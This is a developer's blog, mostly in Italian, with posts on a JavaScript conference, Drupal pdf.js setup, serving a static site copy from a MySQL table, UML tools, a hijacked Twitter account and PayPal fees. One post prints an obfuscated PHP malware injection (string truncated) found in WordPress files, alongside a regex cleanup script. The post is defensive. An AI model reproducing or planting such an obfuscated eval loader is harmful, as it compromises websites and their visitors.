JsDay, news from the front. (and back end)

If I should rate an event from the front end I thing I should consider the UX. In this field JsDay has 10/10 as UX: location is easy to reach (once you are in Verona), food are good (missing salt from meat, they are salutist), very clean and comfortable, you get what you want and need, coffee breaks spans during the day in a regular basis, free bottled water (very valuable thing) and kindly hotel’s and organization’s staff.

But Javascript is no more only frontend, thus it start the first day, the first presentation by Massimiliano Mantione with metaprogramming. He propose to extend the language using a library over the javascript interpreter in order to make it compile a meta program, that is a program with code and macro definition. Macro are not as simple as C standard macro, but metascript macros permit to extend language syntax, also the basic syntax of metascript is very relaxed and permit expression of all kind … About testing he say that the unit test should … well, I understood it is a bit tricky but metascript is still a development project, it is on github and is open source.

Then what follow was my path.

Danni Friedland spoke about NSA.js. MutationObserver is an interesting API that let you observe what happens to the DOM. Its application has some limitation, but it is very interesting, and astonishing demo!

Henry Bergius present Flow based programming, an interesting way to define a program as a process, shown by a series of block passing message: message passing is the main concept of object oriented design, thus .. why not? http://flowhub.io/

Marco Cedaro spoke about the spirit of test, somewhat philosophical presentation, sameway funny, but there are books and and videos, etc. all around the world that pray you to convert to the spirit of TDD … ok, maybe it has to be repeated.

My path to the launch time was: risotto con salciccia, meat, green beans, bread, an apple at the end (even if I am not a fun, I have to admit it could be sweat sometime). Coffee (thanks you, I will give back some day)

Rob Ashton talk about browserify, just a javascript library enable you to make a single javascript source for your page using npm, node, browserify, some command line trick and … very clean result, but he do not know ctrl-l keyboard sequence to clear the screen (I hear this comment the next day, I rob it).

Federico Galassi presents the world of asynchronous programming. I discovered stream programming: define observable to observe events, not only asynchronous served function, and manage it a la promises way (Ex. SetInterval managed with a promise style).

Jakob Mattsson present Z-Core, a way to write test on asynchronous call in a readable way. It is a library, must test run it!

.. to be continued

Javascript come fare a meno di with

Esce fuori che non posso fare a meno di with usando strict mode, mi sono chiesto come faccio a non avere effetti collatorali per via della closure, la soluzione che ho trovato è stata:

 

for(esaid in myarr) {
 var getter = function () {
  console.log('this is THIIIS',this);
  return function(success) {
    if(success.error) {
       $scope.errorMessage = success.error;
    } else {
       $scope.notificationPreferences[esaeid] = success;
    }
 };
 }.call({esaid:esaeid});
 EApicall.save(notpreferences,getter);
}

Così pare funzioni, deve essere un pattern conosciuto comunque.

Questo all’interno di un ciclo for, non importa, perché getter ha scope locale e non è influenzato dalla closure

Display online pdfs attachment in drupal with pdf.js

pdf.js (https://github.com/mozilla/pdf.js) is a mozilla project for rendering pdf files with javascript.

Now it came with a standard Firefox download, but not everyone is using Firefox, thus it came the drupal module: https://drupal.org/project/pdf

Simple steps:

  1. activate pdf drupal module and libraries (on which pdf depends)
  2. read http://drupalcode.org/project/pdf.git/blob_plain/refs/heads/7.x-1.x:/README.txt but it could be misleading
  3. download the package from https://github.com/mozilla/pdf.js, the package, or git clone https://github.com/mozilla/pdf.js
  4. you really need node (but apt-get install node is enough): launch ‘node make generic‘, that is, you HAVE to do it, to make build folder
  5. upload the package, the whole package, on site/all/libraries/, the library directory being pdf.js (thus having: sites/all/libraries/pdf.js/build and sites/all/libraries/pdf.js/build and … so. And not, say, pdf.js-buid/…)
  6. configure a field of type file, the display as pdf

done.

Not convinced? me neither, this is what result, but of course display could be changed and fixed:

http://www.fincos.net/gse/gse-e-trasparenza-amministrativa

 

 

 

Costruire un archivio con PHAR per farne una copia statica, o usare il dbms?

Mi è stato chiesto di fare una versione statica di una parte di sito (una sottocartella), così ho preso wget e scaricato i file (wget -nc -r http://host.domain/directory).

La parte in questione è una applicazione PHP/MySql che usa mod_rewrite, così il numero di file è effettivamente molto alto.

Ora il problema sarebbe quello di gestire tutti questi file rimettendoli nel sito: di fatto i server ftp limitano il numero di file visualizzabili tramite il comando list, così potrebbe non essere accessibile parte del filestestem, quando effettivamente è solo non visibile.

Altro punto è che avere accesso ai file statici (la copia) non è di nessuna utilità, quindi è inutile che siano visibili.

Ho quindi usato la poco conosciuta estenzione PHAR del php.

Di fatto non si trovano molte informazioni, la conoscevo in quanto all’esame si deve accennare all’esistenza, ma non ci sono domande a riguardo.

Ho trovato questo articolo della IBM: http://www.ibm.com/developerworks/library/os-php-5.3new4/index.html?S_TACT=105AGY75

Il codice che ho usato per creare l’archivio è:

<?php

$phar = new Phar('forum.phar', 0,'forum');

$phar->buildFromDirectory(dirname(__FILE__). '/forum');

 

Quindi questo pacchetto va usato in qualche modo, ed ora vengono le perdite di tempo per capire come usarlo.

Cercare su internet ed arrivare a questo articolo, https://stackoverflow.com/questions/17648948/how-does-mod-rewrite-work-with-phar , è fuorviante non è esattamente questo l’uso di cui ho bisogno.

Per usare un archivio nella maniera utile a me (a ‘mo di archivio, appunto), è sufficiente definire in .htaccess (o qualsiasi cosa abbiate) una rules semplicissima:

RewriteRule ^ index.php [QSA]

(la sola in .htaccess di questa cartella, manca anche il flag Last perché non se ne ha bisogno), e definire index.php così:

<?php

$requri = $_SERVER['REQUEST_URI'];
$wanted = str_replace('/forum','',$requri);

include 'phar://forum.phar'.$wanted;

Avendo nella cartella i soli file:

.htaccess
index.php
forum.phar

Ora le cose possono essere più immense di quanto ci si potrebbe aspettare, e il file essere veramente ingestibile (no caricabile). L’opzione è quella di comprimerlo, no problem, non bisogna ripetere la creazione di nuovo, il constructor accetta il nome del file .phar e lo apre se già esiste, cosicché basta fare:

<?php

$phar = new Phar('forum.phar', 0,'forum');

$phar->compress(Phar::BZ2);

 

per così veder creato il file forum.phar.bz2

Resta comunque il fatto che se i file sono molti si arriva ad un archivio di qualche centianaia di mega, considerato che il php spesso è un modulo che gira sopra apache, considerato che è interpretato, considerato che la memoria è limitata (sia da php, sia da apache, sia dal sistema operativo), non è affatto agevole far gestire questa quantità di dati per poter servire velocemente i contenuti.

Non resta quindi che affidarsi ad una tecnologia ben rodata: il DBMS.

Bene, visto che le url sono sia per pagine html, sia per le immagini, è meglio usare un blob per mettere tutto nel db:

<?php

$directory = dirname(__FILE__);
$directory.= '/pathwheredownloaded/forum';
$add_todir = '/forum';

$iter = new RecursiveIteratorIterator(
				      new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS),
				      RecursiveIteratorIterator::SELF_FIRST,
				      RecursiveIteratorIterator::CATCH_GET_CHILD // Ignore "Permission denied"
);

require('db.class.php');

$db = DB::getInstance();
function db_insert($key,$text) {
  global $db;
  $db->query("INSERT INTO thestatic_great_table(pathuri,content) VALUES(:pathuri,:content)",
	     array(':pathuri'=>$key,':content'=>$text));
}

foreach($iter as $path => $fileInfo) {
  $pathEp = str_replace($directory,'',$path);
  $pathEp = $add_todir . $pathEp;
  if($fileInfo->isFile()) {
    $c = file_get_contents($path);
    db_insert($pathEp,$c);
  }
}

Questo mette tutto nel db facendo un loop ricorsivo nella cartella directory ($add_todir è una aggiunta al path perché nel server viene servita come sotto cartella, cioè la request uri contiene anche ‘/forum’).

Importante

La definizione della tabella dovrebbe avere un indice su pathuri così da rendere la ricerca veloce, questo però rende anche l’inserimento nella tabella molto lento, così è sicuramente meglio definire l’indice dopo aver eseguito il loop iterativo sulle directory per inserire i dati. Per riferimenti: https://stackoverflow.com/questions/3688731/is-it-better-to-create-an-index-before-filling-a-table-with-data-or-after-the-d

Altra questione fondamentale, e comunque il relazione alla creazione dell’indice, è far si che le url siano univoche. Non conosco le restrinzioni w3c riguardo le url, e probabilmente il limite standard dei varchar (255 caratteri), è sufficiente, ma per esserne certi è bene eseguire preventivamente qualcosa del tipo:

find . | awk '{ if(length($0)>255) print "NOuOuO", $0;}'

questo da farsi nella cartella …/…./pathwheredownloaded/ tira fuori un bel NOuOuO e la url solo nel caso la path relativa superi i 255 caratteri, a dir la verità c’è anche un punto davanti, sarebbe ./forum/… quindi la cosa corretta è 256, ma il test io preferisco farlo addirittura con 230, ed è passato. Bene.

Per poi servire le pagine così (index.php):

<?php
require_once('db.class.php');

$url = $_SERVER['REQUEST_URI'];

$db = DB::getInstance();

if(preg_match('/jpeg$/',$url)) {
  header('Content-type: image/jpeg');
}
if(preg_match('/jpg$/',$url)) {
  header('Content-type: image/jpeg');
}

$r = $db->query("SELECT pathuri,content FROM thestatic_great_table WHERE pathuri=:uri",array(':uri'=>$url));
$r->bindColumn(1,$returi);
$r->bindColumn(2,$content);
$r->fetch();
print $content;
// remember ... http://www.php.net/manual/it/pdostatement.fetch.php#84321

una nota riguardo il fetching di dati pdo è nel link sopra. (db.class.php è una classe singleton che uso io perché pdo per me non è così rapido per alcune best practices).

Sul content type può capitare che non basti solo controllare l’estenzione, nel mio caso ad esempio ho una url di questo tipo “.*posted_img_thumbnail.php\?.*” che rappresenta sempre una immagine, quindi devo aggiungerlo.

Inoltre i fogli di stile vanno forniti con content type text/css. E ci saranno comunque aggiustamenti da fare.

E così si finisce per avere un bel db da 2giga da buttar su, una chiave su pathuri, e se non fosse abbastanza efficiente si possono definire anche delle partizioni, ma a me sembra ok.

p.s.: non mi va di rivedere tutto, effettivamente ho iniziato a scrivere questo articolo quando pensavo di aver fatto il grab correttamente ed aver bisogno di 2giga di dati, ma il grab non era corretto, mancavano parecchi dati. Risultato: 9 giga! ma va bene lo stesso.

Postum p.s.

Un db di 11 giga rende palesi delle problematiche che solitamente non si considerano, e così è stato in questo caso. Il formato di storage, o storage engine, del db, di default ultimamente per i server mysql è InnoDB che ha indubbi vantaggi per quanti riguarda le features a disposizione, come il supporto di transazioni, triggers, stored procedures, cursori (ci sono davvero?), etc. Funzionalità ormai richieste da chiunque usi un database, ma tutto ciò ha un costo dal punto di vista delle performance ed delle ottimizzazioni che non sono più disponibili. È bastato cambiare lo storage engine in formato MyISAM e l’occupazione nel filesystem è passata da 12 Giga a 8 Giga.

Inoltre è possibile ottenere ancora di più: se la tabella non deve essere modificata si può utilizzare il comando myisampack che permette di occupare ancora meno spazio mantenendo le performance. E questo è decisamente il caso.

Peripezie

Il trasferimento verso l’hosting è sicuramente qualcosa di problematico se si ha un managed hosting, cioè una macchina gestita da altri, che sicuramente gestiscono un certo numero di macchine e quindi avranno un carico di lavoro elevato, e spesso, visto l’ignoranza diffusa in campo informatico, hanno a che fare con gente poco preparata a cui rispondono malvolentieri. Cosa è trasferire una tabella db da 10 giga erso un server? praticamente è fare l’esportazione dei dati tramite mysqldump e fare l’importazione successiva tramite mysql, oppure, sfruttando il fatto di utilizzare uno storage engine piuttosto povero, semplicemente trasferire 3 file, tabella.frm, tabella.MYD e tabella.MYI, come descritto in https://stackoverflow.com/questions/1960845/mysql-backup-can-i-copying-individual-myisam-table-files-to-another-server-with (con note riguardo la compatibilità di versione)

Conclusioni

È piuttosto comune pensare che la cosa più veloce per servire pagine web sia il filesystem, effettivamente vedendo girare questo sito le performance raggiunte grazie al supporto del DBMS sono eccezionali. L’idea che il filesystem sia la cosa migliore tiene conto del numero di sottosistemi coinvolti ma non della mole di lavoro che essi svolgono:

  1. Caso DBMS: apache -> php -> mysql -> filesystem con seek statica ( e ritorno <- )
  2. Caso fs: apache -> filesystem (e ritorno <- )

Infatti nel caso 1 il server dbms riesce ad ottenere il dato molto velocemente solo mantenendo un indice di 25 Mbyte in ram, rendendo la richiesta verso il filesystem praticamente una seek ad un indirizzo specifico, mentre una richiesta al filesystem richiede un attraversamento delle cartelle, cioè l’individuazione di un inode (la cartella), lettura del suo contenuto, individuazione del file, lettura del suo contenuto, e così via, ripetendo fino al file oggetto della richiesta. Nel caso 2. sono tutte richieste di I/O, non pesanti dal punto di vista operazionale, ma pesanti dal punto di vista di tempi di risposta.

Con gli SSD le differenze si mitigano, ma l’occupazione del bus di I/O è già di suo un elemento a sfavore della scelta 2.

Rimuovere un virus da wordpress

Non ho voglia di indagare da dove entrano e come fanno, suppongo sia qualcosa riguardo a xmlrpc, comunque mi capita di trovare in alcuni siti dei file in wordpress con un bel pezzo di codice all’inizio che fa più o meno così:

<?php $nuvjmhnfek = 'x787fw6*%x5c%x787f_*#[k2%x5c%x7860{6:!}7;!})q%x5c%x7825:>:r%x5c%x7825:|:**t%x5c%x7825)m%x5c%xbq#%x5c%x785cq%x5c%x7825%x5c%x7827jsv%x5c%x78256<C>utcvt)!gj!|!*bubE{h%x5c%x78 .....
$nlbrprkqdg = explode(chr((208-164)),'3218,48,5590,70,4453,66,8070,26,2370,30,2907,69,714,25,4556,24,7366,42,6995,70,7662,67,7952,20,4821,58,5660,38,9197,50,3794,32,5475,53,5299,25,2451,49,3716,20,9116,48,8581,59,1739,50,6545,58,1693,46,950,66,7211,50,5528,62,7895,57,9591,46,9678,20,2282,23,6368,70,93,51,8483,44,1216,66,10078,28,4288,43,3130,61,2770,36,7408,26,6930,65,5039,22,8640,63,1059,70,7729,28,5919,23,5942,42,374,57,0,43,4580,43,1336,24,5061,55,3878,39,9371,41,9765,20,4141,66,3451,70,7972,36,8867,50,7470,51,6077,53,4076,65,9301,37,3521,62,9338,33,8008,36,5828,68,3040,67,7825,70,144,66,1016,43,3618,32,8203,39,6503,42,9463,21,7261,43,3107,23,2071,51,797,55,6832,56,1129,48,9045,22,1553,56,9484,43,10047,31,493,27,3365,23,4879,21,1456,35,5237,62,2860,47,852,38,9698,67,6130,23,9940,45,6335,33,280,52,1609,52,8527,54,4352,42,8917,65,2700,70,7107,48,520,52,5776,24,3191,27,3650,66,3855,23,4011,65,4254,34,7757,68,3826,29,8385,27,5205,32,6268,67,1953,70,9164,33,210,36,2228,54,7304,62,9785,66,9985,36,6235,33,4952,38,9527,64,1491,62,4394,59,9434,29,6153,34,8791,45,9067,49,8744,47,2806,54,8044,26,2047,24,332,42,8242,45,4207,47,43,50,2976,64,4990,49,5324,38,2023,24,3388,63,8412,43,9637,41,2609,64,6438,65,8351,34,3736,58,9907,33,10021,26,6053,24,1856,41,246,34,8160,43,4623,67,2122,70,1360,36,9247,54,8703,41,2589,20,5430,45,4519,37,1177,39,1661,32,1789,67,7626,36,5723,53,1282,54,762,35,4900,52,6603,49,2500,37,572,56,1396,20,6801,31,6652,29,2673,27,5362,68,5116,24,5698,25,7434,36,890,60,9412,22,7584,42,3266,70,6888,42,3968,43,7155,56,6735,66,5800,28,7065,42,2537,52,6681,54,739,23,7521,63,2192,36,6211,24,8096,64,4690,34,4724,59,2305,65,5140,65,3336,29,689,25,5896,23,1897,56,9851,56,3917,51,8455,28,1416,40,628,61,8836,31,5984,34,2400,51,6187,24,4783,38,6018,35,8982,63,431,62,3583,35,8287,64,4331,21'); $nmtziabvfq=substr($nuvjmhnfek,(64154-54048),(22-15)); if (!function_exists('mytkhaykjh')) { function mytkhaykjh($ecchzxeygg, $oetvzxrjls) { $gxtabrgvtm = NULL; for($vwguknkzdv=0;$vwguknkzdv<(sizeof($ecchzxeygg)/2);$vwguknkzdv++) { $gxtabrgvtm .= substr($oetvzxrjls, $ecchzxeygg[($vwguknkzdv*2)],$ecchzxeygg[($vwguknkzdv*2)+1]); } return $gxtabrgvtm; };} $sdeyycmzzj="\x20\57\x2a\40\x66\147\x74\157\x6e\166\x6c\170\x75\166\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\64\x36\55\x32\60\x39\51\x29\54\x20\143\x68\162\x28\50\x34\66\x32\55\x33\67\x30\51\x29\54\x20\155\x79\164\x6b\150\x61\171\x6b\152\x68\50\x24\156\x6c\142\x72\160\x72\153\x71\144\x67\54\x24\156\x75\166\x6a\155\x68\156\x66\145\x6b\51\x29\51\x3b\40\x2f\52\x20\170\x6f\171\x66\142\x63\152\x76\162\x6b\40\x2a\57\x20"; $dtpkwmfaou=substr($nuvjmhnfek,(67745-57632),(63-51)); $dtpkwmfaou($nmtziabvfq, $sdeyycmzzj, NULL); $dtpkwmfaou=$sdeyycmzzj; $dtpkwmfaou=(403-282); $nuvjmhnfek=$dtpkwmfaou-1; ?>

si potrebbe capire cosa fa (ho tagliato la stringa), ma non mi interessa.

Devo ripulire tutto. Questo è cosa uso:

<?php

$directory = dirname(__FILE__);

$iter = new RecursiveIteratorIterator(
				      new RecursiveDirectoryIterator($directory, RecursiveDirectoryIterator::SKIP_DOTS),
				      RecursiveIteratorIterator::SELF_FIRST,
				      RecursiveIteratorIterator::CATCH_GET_CHILD // Ignore "Permission denied"
);

header('Content-type: text/txt');

foreach($iter as $path => $fileInfo) {
  $pathEp = str_replace($directory,'',$path);
  if($fileInfo->isFile()) {
    if (preg_match('/php$/',$pathEp)) {
      $c = file_get_contents($path);
      if(preg_match('/^(<\?php\ \$nuv.+\?>)(.*)/',$c)) {
	echo "Infected: $pathEp\n";
	echo "should be:\n";
	$newC = preg_replace('/^(<\?php\ \$nuv.+\?>)(.*)/','$2',$c);
	//print $newC;
	file_put_contents($path,$newC);
	//exit();
      }
    }
  }
}

e basta. Metto ripulisci.php nella cartella principale e la chiamo dal sito.

Nota sulla foto: On North Wolcott, North of Augusta. There is a story behind … ma non la voglio sapere, rif.: https://secure.flickr.com/photos/44124372363@N01/4910423674/in/photolist-8tVcT9-iG6NUE-7yBpGK-bmL8Jm-9nkCHq-fchpRc-7D18d7-7CWipD-bTdHNX-86jtVn-iG5exo-a9bsLj-fbhikV-9Q1ayw-efVYdc-eg2HX9-efVYgp-eg2HTj-eg2HUJ-98GHvF-fd3VzD-do26Js-eRjTX7-81cs37-7GoXYL-8i2cp7-8xi4VB-aua6KB-atgC1z-fdDg8h-9SsQVV-aCcaqq-aHHR9P-8eeoFp-823o7n-9sV9d4-9NZEdN-dSbVyG-7ARMf7-jd9hZz-7BH2Q5-avsG3U-dxN8Dr-7NrEZo-c6yJQ1-9ZyNpV-812TCs-dCLwMU-8xXTjJ-ca4vws-9U18eE

Little tool spot (php to UML)

This is my little endorsement to this tool

http://tech.motion-twin.com/php_php2xmi.html

really usefull to extract uml from an existing PHP project. In GNU/Linux system (actually Bsd world too) there is at least Umbrello which read and write XMI format.

I am not expert of MS Windows world I just tryed googling it, I found this: http://www.altova.com/umodel/xmi.html . Umodel is 149$ software, it look like a very complete software, it could worth the price, but actually I prefer to keep code as simple as it could be catched just looking at the code, classes/methods names and little documentation, but sometime you loose control of the code.

I also tried autodia, that state an experimental support for importing xmi format to dia format. This is really experimental, starting from the missing strict dependence: libxml-simple-perl is required it you want to do:

 

$ autodia -l umbrello -i project.xmi 
getting handlers..
getting pattern for umbrello


AutoDia - version 2.14(c) Copyright 2003 A Trevena

using language : umbrello

..using Autodia::Handler::umbrello
opening Ebaysync.xmi
Not an ARRAY reference at /usr/share/perl5/Autodia/Handler/umbrello.pm line 87.

Thus … experimental.

 

Twitter Insecure by Design

It happens I have a new identity … no, someone has my credential or such for using my twitter account. Twitter does not reply, there is no team that can fix it.

Problem with twitter is that it is insecure by design. You indicate an email address and confirm it, at registation time, or whenever you want.

Well, now? If you want to change email address you have to confirm it with the old, confirmed one, email, you are guessing … no. You have to verify the new email address with the new email address!!

That’s all. I used to have @danielecr twitter account. Now it is Gale Albee @GaleIsWide, and there is nothing I can do about it.

To check it, I does a google search: “danielecr twitter”

interesting enough …

What does it means to you? This show that twitter is insecure by design, and if you are subscribing a service you should never rely on it, that is you open an account for new service using twitter, then make sure to add email address and make it the principal way to log in, never rely on twitter for security, it seems there is no customer care and noone who you can effectively contact and to which you can ask for assistance. You will loose all associated accounts.

Simply put: do not rely on twitter.

PayPal SEPA o no

visto:

https://cms.paypal.com/it/cgi-bin/?cmd=_render-content&content_ID=ua/upcoming_policies_full&locale.x=it_IT

SEPA (Single Euro Payment Area) a parte, le tariffe sulle transazioni paypal sono differenti nel caso i fondi provengano da carta di credito, e nel caso provengano da trasferimento bancario. Me ne accorgo solamente ora.

Negli e-commerce siamo abituati ad aggiungere una riga per le tasse, nel caso il cliente scelga di pagare tramite paypal, ora la cosa diventa più complicata, il cliente paga tramite paypal e dovrebbe autorizzare il pagamento, da parte sua, dei costi della transazione. Oppure deve esserci un modo per determinare, relativamente al prezzo da pagare, quanto costa la transazione, quindi, tornando all’ecommerce dopo l’autorizzazione (senza quantità di denaro) dell’acquirente, calcolare il prezzo per il pagamento. In https://developer.paypal.com/webapps/developer/docs/classic/express-checkout/integration-guide/ECReferenceTxns/#id094UM0C03Y4 non trovo nessun riferimento all’addebito dei costi.

Runyourjs drupal module

Done, as said in http://www.smartango.com/blog/upload-javascript-attachment-drupal-entity-and-run-it-and-what-it-munge, I created a sandbox project:

https://drupal.org/sandbox/smartango/2034907

I attach here an archive as git archive –prefix=runyourjs/ HEAD |gzip – > ../runyourjs.tar.gz

I have wrote this for my personal use, if you found it useful, share and give feedback (in drupal). Thanks

 

p.s.: of course filename is protected 🙂